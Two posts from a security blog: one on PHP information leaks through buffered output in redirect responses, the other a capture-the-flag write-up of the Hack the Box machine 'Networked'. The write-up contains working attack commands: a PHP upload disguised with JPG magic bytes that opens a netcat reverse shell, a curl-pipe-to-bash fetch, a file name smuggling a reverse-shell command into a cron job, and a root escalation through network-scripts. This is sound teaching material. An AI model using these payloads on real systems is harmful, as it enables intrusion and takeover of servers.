PHP on David Hamann

Info leaks via buffered output on HTTP redirects

Mon, 21 Feb 2022 00:00:00 +0000

Writing data to the output buffer before deciding that the response to the current HTTP request should actually be a redirect (for example when an unauthenticated user is not allowed to access some content) is an issue not exclusive to PHP but a relatively easy mistake to make in this environment.

After not having been exposed to PHP in quite a while I recently did a security assessment of a PHP application again. During the test this exact issue popped up again, so I want to give a short description on how and why this can lead to information leaks.

Consider the following two files:

index.php

<?php

$logged_in = false;

echo 'Here is some content that only logged-in users should see';

/* ... */

if (!$logged_in) {
 header('Location: /login.php');
}

?>

login.php

<?php

echo 'Here is the login page';

?>

When requesting index.php with your browser, you would usually only see the output of login.php, as the first response from index.php includes a 302 status code and a Location header indicating a redirect to /login.php.

However, if you were to inspect the body of the first response, you would see the contents that index.php produced as they were already written into the output buffer when the HTTP response was sent:

Unfortunately, the response data of redirections is not shown in Firefox’s developer tools (“No response data available for this request”), so the way you usally identify these issues is to have a proxy running while browsing (e.g. Burp Suite).

What’s the issue?

As you may have already guessed, the issue is that content that is not supposed to reach the client is actually sent to it. This can either happen because the script places data into the output buffer before it calls header() (as in the example above) or that it doesn’t terminate after setting the Location header and produces even more output.

Changing the order of echo and header in the example above would not fix the issue if the header() is not also followed by a termination of the script (e.g. with exit or die()).

During my penetration test it was a relatively simple case of just trying to access another user’s data by modifying a parameter in the query string. Even though the application’s behaviour looked right (redirect to another page) when viewed through a browser, and the developers did properly check the access rights in the code, the data from another user was still being leaked in the response body of the 302 redirect.

How can you modify headers after output is sent?

You might be wondering how you can even set a header after (part of) a response body has already been sent. Obviously, you can’t.

Looking at PHP’s documentation for header() we can read:

Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP.

In the small example above the output is not actually sent before the header, but rather buffered before being sent. So as long as your output doesn’t exceed the buffer size you will get the behavior described and won’t experience any warning. The output buffer behavior (and size) can also be configured via php.ini.

You can verify this by increasing the amount of output you produce before trying to set a header. Exceeding the buffer size, you will get the warning PHP Warning: Cannot modify header information - headers already sent by... and the redirect stops working (as you obviously cannot set the Location header after output has already been sent).

Note, though, that if you have the order right (first header(), then your response body) but you forget the termination of the script, you will still have the issue but never get any warning as nothing technically forbids you to have a large body in a redirect response.

How to detect

The easiest way to spot this issue during dynamic analysis is by recording your HTTP requests, then sorting them by status code and looking at the response length. Large response sizes for redirection responses will generally show you that something is off and worth looking into.

Besides recording your manual browsing it also makes sense to look at the response sizes when you’re doing any kind of directory/file brute-forcing and don’t have access to the source code. Seeing an output like the following (gobuster example) would be a good reason to further look into the actual response data:

/index.php (Status: 302) [Size: 4091] [--> /login.php] # large
/test.php (Status: 302) [Size: 0] [--> login.php] # normal

Hack the Box Write-up #2: Networked

Wed, 04 Dec 2019 00:00:00 +0000

In today’s write-up we’re looking at “Networked”, another Hack the Box machine rated as easy. We’ll start by finding relevant files via a directory brute-forcer, go on to read some PHP code and then exploiting a file upload feature. Command injection through a file name gives us a proper user shell, and in a second step, through network-scripts, a root shell. Enjoy!

Recon

We start with an nmap scan, just like in the last write-up, and see just two ports open:

$ nmap -sV -sC -oN nmap/init 10.10.10.146

PORT STATE SERVICE VERSION
22/tcp open ssh?
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

Manually inspecting the site on port 80, all we see is a static HTML page, providing two hints in the source code:

We could try to manually guess some directory and or file names (like upload, uploads or gallery). Since we know PHP is running (from the banner), upload.php is an easy find.

To not miss anything, though, we’re still going to run a directory brute-force in the background while further inspecting the upload form.

I really like using gobuster, so let’s use that and give it the small directory dictionary from dirbuster, combined with a search for the .php extension.

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.10.146 -x php

/index.php (Status: 200)
/uploads (Status: 301)
/photos.php (Status: 200)
/upload.php (Status: 200)
/lib.php (Status: 200)
/backup (Status: 301)

We can upload “normal” image files (always try the “happy path” first!), but don’t immediately see where they are accessible after upload. Trying to upload a PHP file to get remote code execution leads to Invalid image file..

Looking at the background reconnaissance job, however, we can see multiple interesting findings.

Going to /photos.php, we can see our uploaded image
Going to /backup, we can see a tar file of a website backup including all source files

Having access to the source will make life much easier, so let’s have a look and see if we can find a way around the image file type limitation on the upload.

Untar the file archive tar xvf backup.tar, then skim through it with less * (navigate with :p and :n).

Switching to upload.php, there are a few things that could be interesting. I highlighted them in yellow.

Our main focus should be the check_file_type function, but also note the missing dot in one error message which could have been helpful in case we wouldn’t have access to the source code. Allowed extensions, target directory and permissions are also worth noting.

function check_file_type($file) {
 $mime_type = file_mime_type($file);
 if (strpos($mime_type, 'image/') === 0) {
 return true;
 } else {
 return false;
 } 
}

To circumvent this check we would need our malicious file to return an image mime type when checked by file_mime_type.

function file_mime_type($file) {
 $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
 if (function_exists('finfo_file')) {
 $finfo = finfo_open(FILEINFO_MIME);
 if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
 {
 $mime = @finfo_file($finfo, $file['tmp_name']);
 finfo_close($finfo);
 if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
 $file_type = $matches[1];
 return $file_type;
 }
 }
 }
 if (function_exists('mime_content_type'))
 {
 $file_type = @mime_content_type($file['tmp_name']);
 if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
 {
 return $file_type;
 }
 }
 return $file['type'];
}

What the PHP functions are essentially doing (if available), is a check for the “magic bytes”, a signature in the beginning of the file, to determine the mime type.

Exploitation (first foothold)

So what if we put the file signature of a JPG file at the top of a PHP file? Would the PHP code still be executed?

# write magic bytes into a new file
echo -e '\xff\xd8\xff\xdb' > fake.php.jpg

# open file to add php code
vim fake.php.jpg

# add PHP code to execute netcat to connect to us
# (or any other code you'd like to execute. For a bit of obfuscation of what
# you did, you could also take the command as a GET argument)
<?php system('nc 10.10.14.19 9090 -e /bin/bash'); ?>

# start our listener
nc -lvnp 9090

Uploading fake.php.jpg triggers no more file type errors as we have a valid JPG signature and a jpg extension. And visiting /photos.php successfully executes our payload:

Ncat: Listening on :::9090
Ncat: Listening on 0.0.0.0:9090
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:45262.
id
uid=48(apache) gid=48(apache) groups=48(apache)

This is not only an issue with the code but also the PHP configuration (in /etc/httpd/conf.d/php.conf), which is set to interpret files that have “.php” anywhere in them, not just as an extension. A file named something.php.somethingelse would thus also be given to the PHP interpreter.

Enumeration and Exploitation (user)

Now that we have a low-priv apache shell, we can start enumerating things to escalate our privileges.

A nice way of automatically getting an overview of the system is to run LinEnum. We can serve it from our attacker machine via Python and pipe the script directly into bash.

# start a webserver on attacker machine
python3 -m http.server 8000

# in low priv shell
curl http://10.10.14.19:8000/LinEnum.sh | bash

Going through the results, what catches the eye immediately are these two (world-readable!) files.

[-] World-readable files within /home:
[...]
-r--r--r--. 1 root root 782 Oct 30 2018 /home/guly/check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 /home/guly/crontab.guly

We cannot modify the PHP script directly, but having a look at check_attack.php, we notice two exec calls, one of them we might be able to control:

exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

$logpath and $path are set at the beginning of the script, but $value is determined by the filename, which we can control.

The idea is now to create a file in /var/www/html/uploads/ that has a valid additional command in its filename (and is an “attack attempt” as defined by the script), so that we end up with an exec like this:

nohup /bin/rm -f /var/www/html/uploads/ –> something; nc 10.10.14.19 9091 -e /bin/bash <– > /dev/null 2>&1 &.

We have one problem, though. Naming a file something; nc 10.10.14.19 9091 -e /bin/bash might not work because of the slashes.

To work around that we can look for environment variables with slashes in them and then use the parameter expansion functionality in bash (${parameter:offset:length}) to just extract the slash. Using env we can see environment variables; as expected PATH is set and contains slashes, so let’s use it. ${PATH:0:1}bin${PATH:0:1}bash will give us /bin/bash.

Now let’s start another netcat listener and then create our file:

# on attacker machine
nc -lvnp 9091

# on remote machine
touch /var/www/html/uploads/'something; nc 10.10.14.19 9091 -e ${PATH:0:1}bin${PATH:0:1}bash'

After about 3 minutes (because of the cron */3 * * * * php /home/guly/check_attack.php as defined in crontab.guly), we see that the remote machine connected back to our listener and we’re now user guly. Good!

Enumeration and Exploitation (root)

One of the first manual checks I do is to see if the user can sudo anything without credentials. In this case it can:

$ sudo -l
[...]
User guly may run the following commands on networked:
 (root) NOPASSWD: /usr/local/sbin/changename.sh

Without running LinEnum.sh again, we can straight dive into inspecting this shell script.

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
 echo "interface $var:"
 read x
 while [[ ! $x =~ $regexp ]]; do
 echo "wrong input, try again"
 echo "interface $var:"
 read x
 done
 echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
 
/sbin/ifup guly0

This script gives us the opportunity to modify /etc/sysconfig/network-scripts/ifcfg-guly by asking for input for the mentioned variable name/value pairs. As we can give any value that matches the regex, we can add a value followed by a space and a command.

This works as privilege escalation, because when the file is sourced at the end, the system tries to execute commands that appear after the space (after the value part). And since the process runs as root, we have command execution as root.

To demonstrate, it works similar to this:

$ echo "some=thing id" > example
$ source example # <-- will not just set the variable but also execute "id"
uid=0(root) gid=0(root) groups=0(root)

So what we can do on the remote machine is the following:

$ sudo /usr/local/sbin/changename.sh
interface NAME:
something bash -i # <--- notice the space before the command
interface PROXY_METHOD:
a
interface BROWSER_ONLY:
a
interface BOOTPROTO:
a

# and we're in another interactive bash shell as root
$ id
uid=0(root) gid=0(root) groups=0(root)

Have a read about this “issue” on Full Disclosure (Redhat/CentOS root through network-scripts). Setting the right permissions (i.e. not allowing users to edit the file) is enough to prevent this exploitation of a network-script.

Cheers!